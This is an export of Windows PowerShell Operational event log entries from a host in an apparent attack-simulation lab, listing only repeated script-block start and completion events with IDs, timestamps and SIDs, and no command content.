Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030388
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030375
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030373
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030372
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030355
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030350
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030349
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
